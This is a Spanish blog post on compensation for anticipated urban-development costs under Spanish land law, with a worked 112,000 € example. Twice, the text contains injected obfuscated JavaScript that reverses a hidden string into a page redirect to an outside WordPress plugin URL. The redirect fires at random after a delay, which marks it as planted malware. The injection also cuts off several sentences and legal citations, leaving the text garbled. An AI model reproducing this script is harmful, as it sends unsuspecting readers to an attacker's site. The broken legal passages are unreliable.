Indemnización de la iniciativa y la promoción (2)

Algunos gastos de urbanización que se hayan anticipado deben ser indemnizados cuando, a consecuencia una decisión administrativa, devengan inútiles para quien los haya realizado. La indemnización incluye el gasto realizado y una compensación adicional equivalente a la Prima de Riesgo y la Tasa Libre de Riesgo de una anualidad.

INDEMNIZACION DE LA INICIATIVA Y LA PROMOCIÓN: Posts anteriores

En el post anterior de esta serie describíamos como la LS07 había cambiado radicalmente el enfoque sobre el valor del suelo sujeto a actuación de transformación urbanística, ahora el suelo vale a origen mientras la actuación no haya terminado, incorporándose un correctivo al tener en cuenta las inversiones que se hayan podido realizar, este correctivo es la indemnización de la iniciativa y la promoción.

Maqueta

El concepto se corresponde con el supuesto indemnizatorio del tos se examinará próximamente, tras el examen de la indemnización de la promoción.

En este sentido, son indemnizables los gastos correspondientes a (tos técnicos de instrumentos de ordenación o ejecución necesarios

  • Obras acometidas
  • Financiación (incluida la formalización), gestión y promoción de la actuación
  • Indemnizaciones pagadas
  • Los tributos relacionados con dichos conceptos (El requisito es que estos gastos «devengan inútiles para quién haya incurrido en ellos» (concepto de inútil es absoluto («no útil», carente de utilidad), lo que excluye el ‘medio útil’ o la pérdida parcial de utilidad.

    En el caso de los proyectos, estos tienen los requisitos adicionales de que, «conforme a la legislación de la ordenación territorial y urbanística», (Por ello y respecto a los proyectos, podría cuestionarse su aplicación en el caso de las actuaciones de dotación ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo” href=”http://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a9″ target=”_blank”>art. 9.3 TRLS)  a pesar de que ambas pueden contemplar obras de urbanización, debiendo tenerse en cuenta que cuando se redactó este apartado (toria (Respecto a la edificación, no incluiría las construcciones que no sean edificación, es decir las instalaciones (Resultan contradictorios con la naturaleza indemnizatoria:

    • El carácter tasado de los gastos indemnizables
    • La restricción de la indemnización a los supuestos en que el gasto resulte inútil, es decir, totalmente inútil (p.ej., una modificación estructural que reduzca la edificabilidad y no requiera un nuevo instrumento de ordenación pormenorizada, porque sea suficiente con su reajuste, no daría lugar a la inutilidad del coste del instrumento de ordenación pormenorizada, aunque su coste sea diferente y altere sustancialmente las condiciones de la actuación).
    El gasto indemnizable se incrementa aplicando la $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to de Valoraciones de la Ley de Suelo (RD 1492/2011, de 24 de octubre)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2011-17629#aniv” target=”_blank”>Anexo.IV RVal.
    Ejemplo: Indemnización de la iniciativa
    Adelanto de 100.000 € para la redacción del Plan Parcial.
    Que finalmente resulta inútil para quien incurrió en dicho gasto.
    Con una prima de riesgo del 8% (Con una 
     del 2%
    100 000 € x (1+8%+2%) = 112 000 €

    The following two tabs change content below.

    Natxo Tejerina

    Licenciado en Derecho (Deusto, 1979). Abogado (Bilbao, 1980-1991), Profesor en los cursos de urbanismo del IVAP (1995-2020). Funcionario en diversos ayuntamientos desde 1991, actualmente en Urbanismo del Ayuntamiento de Barakaldo en periodo sabático.

    Leave a Reply

    Your email address will not be published.